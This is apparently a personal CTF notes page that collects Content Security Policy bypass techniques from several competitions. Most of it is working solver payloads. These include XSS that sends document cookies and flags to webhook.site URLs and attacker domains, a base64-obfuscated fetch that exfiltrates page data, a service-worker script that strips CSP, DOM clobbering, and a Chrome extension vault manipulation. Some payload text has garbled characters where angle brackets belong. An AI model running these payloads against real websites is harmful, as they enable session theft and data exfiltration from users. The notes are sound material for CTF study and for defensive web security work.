Skip to content

CSP Bypass

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the...

Created

Updated

5 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Skynet CDN CSP Bypass

from urllib.parse import quote

def escape(s):
    d = {
        "&": "&",
        "<": "&lt;",
        ">": "&gt;",
        '"': "&quot;",
        "'": "&apos;",
        "`": "&#96;",
        "+": "&#43;",
    }
    return "".join(d.get(c, c) for c in s)

script = quote("top['location']['assign'](`https://webhook.site/0a2e67c9-43ed-4e03-9a81-523b502c47b7?${document['cookie']}`)").replace(".", "%5cx2e")
script = "https://cdn.skypack.dev/dompurify/%252f%3F%27;"+script+"%2f%2f"
print(print("<script/type=\"module\"/src=\""+script+"\"/></script>"))

CSP Bypass unsafe-eval in chrome extension

Event NameDiceCTF 2025
GitHub URL-
Challenge Namedicepass
Attachments
References

unitended solve using iframe bug
<form data-dicepass-username data-dicepass-password>
  <input name="value" />
</form>
<iframe id="f3" src="https://dicepass.dicec.tf/docs/test/"> </iframe>
<script>
  onload = () =>
    setTimeout(async function () {
      try {
        await dicepass.autofill();
      } catch (e) {}
      self.chrome =
        dicepass.prevUsername.ownerDocument.defaultView.parent.chrome;
      const vaults = (await chrome.storage.local.get("vault")).vault;
      [vaults[1].origin, vaults[0].origin] = [
        vaults[0].origin,
        vaults[1].origin,
      ];
      await chrome.storage.local.set({ vault: vaults });
      document.forms[0].outerHTML =
        "<input id=flag data-dicepass-username data-dicepass-password>";
      dicepass.prevUsername = null;
      dicepass.prevPassword = null;
      try {
        await dicepass.autofill();
      } catch (e) {}
      new Image().src = "/flag=" + flag.value;
    }, 1000);
</script>
itended solution

dicepass (intended solution):

  • xss on docs page through intersection of pym and docusaurus https://dicepass.dicec.tf/docs/test/?docusaurus-data-pym-src=javascript:alert(1)//
  • this gives you js exec on a site which has a password, so you can hit the part in the content script which sets prevUsername / prevPassword
  • you can dom clobber prevUsername.value or prevPassword.value to be an HTML element using a form & input name=value
  • by using comlink, you can then access the window reference of the content script (dicepass.prevUsername.ownerDocument.defaultView)
  • get arb js execution in content script by using a chrome bug - you can call setTimeout with a string and it gets evaled, even though there is a CSP, so you overwrite defaultView.scanPage with a string
  • get tab id, use comlink to prototype pollute the background script Object.prototype.tabId to point to yours
  • open the popup window so it creates a new popup bridge, but now since tabId is polluted it will connect to your content script (where you have js exec)
  • now that you can use the popup context, you can leak the origin which has the flag
  • now you need a tab id for the flag, but since tab ids are not random, you can just open a window reference to the flag origin, and then try +1000 from your current tab id and one will be correct
  • CSP Bypass using redirect

    Event NameBiITSKRIEG CTF 2025
    GitHub URL-
    Challenge NameGet into my Cute Small Planner
    Attachments
    Reference

    To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

  • Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.
  • solver
    嘼script src="<http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js>" 嘾// 嘼/script 嘾
    <div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };
        fetch(`http://localhost:3000/`).then(res=>res.text()).then(data=>{ const parser = new DOMParser();
        const doc = parser.parseFromString(data, "text/html");
    
        // Extract all links
        const links = Array.from(doc.querySelectorAll("a")).map(a => a.href);
    
        // Encode links properly
        const encodedLinks = btoa(unescape(encodeURIComponent(JSON.stringify(links))));
    
        // Send links to remote server
        return fetch("//0mrn93x5.c5.rs?ans=" + encodedLinks, { method: "GET", mode: "no-cors" })});//');}}</div>
    ∼script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js/../../../../../../ajax/libs/angular.js/1.7.0/angular.min.js">//∼/script>∼div ng-app ng-csp>∼input id=inp autofocus ng-focus=$event.view.eval('eval(atob(`ZmV0Y2goJy9ub3RlL2RhNDJiZjhkLThhMDgtNDQzZC05YjliLWQ0OThjYTIyODQ4MCcpLnRoZW4ociA9PiByLnRleHQoKSkudGhlbihkYXRhID0+IGZldGNoKCdodHRwczovL3dlYmhvb2suc2l0ZS9mZGVjMzhkNi04OGE4LTRkOTgtYTczMi1jNzIwYjM5MTM2NGM/Yz0nK2J0b2EoZGF0YSkpKQ==`))') />∼/div>

    simpleCalc seccon quals 2023

    bypass csp default-src {jsstaticfile} using navigation workers

    the mimetype of the script must be js the origin must be same

    from urllib.parse import quote
    
    target = "<http://localhost:3000>"
    webhook = "<https://webhook.site/9a2fbf03-9a64-49d1-9418-3728945d5e10>"
    rmcsp = """
    self.addEventListener("fetch", (ev) => {
        console.log(ev)
        let headers = new Headers()
        headers.set("Content-Type","text/html")
        if (/\\/js\\//.test(ev.request.url)){
            ev.respondWith(new Response("<script>fetch('/flag',{headers:{'X-FLAG':'1'},credentials:'include'}).then(async r=>{location='"""+webhook+"""?'+await r.text()})</script>",{headers}))
        }
    });
    console.log("registered2")
    document = {}
    document.getElementById = ()=>{return {innerText:"testing"}}
    """
    
    workerUrl = "/js/index.js?expr="+quote(rmcsp)
    
    payload = "navigator.serviceWorker.register('"+workerUrl+"');setInterval(()=>{location='/js/test'},2000)"
    
    print(payload)
    payload = target+"/js/..%2f?expr="+quote(payload)
    

    Kurang lebih exploitasi ini memanfaatkan service worker untuk membypass CSP

    res.header('Content-Security-Policy', default-src ${js_url} 'unsafe-eval';);

    jadi kita memanfaatkan default-src ke script /js/index.js untuk membuat worker, yang dimana worker ini nanti bisa kita tambahkan "fetch" listener untuk menghilangkan CSP header pada page note: di challenge ini ada sedikit magic yang terlibat, yaitu kita bisa membypass worker scope dengan menggunakan "..%2f" (work di express)

    unitended solution using same origin, add page with cspless iframe bug in chrome

    var f=document.createElement('iframe');
    f.src = `http://localhost:3000/js/index.js?q=${'a'.repeat(20000)}`;
    document.body.appendChild(f);
    f.onload = () => {
        f.contentWindow.fetch('/flag', { headers: {'X-FLAG': 'a'}, credentials:'include' })
            .then(res => res.text())
            .then(flag => location='<https://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q='+flag>)
    }
    

    clober the fox https://ctf.p4.team/

    <script>
        window.open(`https://clobber-the-fox.zajebistyc.tf/?param=<a+id%3Dclob+href%3D"//aa%25%0Alocation=['//xxxx.xxx.xxx?',opener.document.body.innerHTML]">x<%2Fa>`);
        location = '<https://clobber-the-fox.zajebistyc.tf/flag>';
    </script>
    

    If there a CSP like below where we can add sec-required-csp

    gimme CSP

    Asis CTF 2023 final

    	res.header(
    		'Content-Security-Policy',
    		[`default-src 'none';`, ...[(req.headers['sec-required-csp'] ?? '').replaceAll('script-src','')]]
    	)
    

    we can use something like this to add a csp to report something potentially leaking sensitive data

    <iframe src='<https://gimmecsp.asisctf.com?letter=></pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri <https://webhook.site/xxx>"></iframe>
    

    or

    <iframe referrerpolicy="no-referrer" src='<https://gimmecsp.asisctf.com/?letter=></pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri <https://webhook.site/f54edfd1-bf2e-4c79-87ed-d054377ebf11>"></iframe>
    

    Bypassing csp with dns prefecth or preload, no javascript required

    dicectf 2024 another-csp or web/safestlist?

    https://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdfhttps://github.com/w3c/webappsec-csp/issues/542

    <https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch>
    
    <link rel="dns-prefetch" href="<https://fonts.googleapis.com/>" />
    
    <link rel=preload>
    <link rel="prefetch" href="./img/intro.mp4" as="video">
    
    <link rel="preconnect" href="attacker domain" crossorigin />
    

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.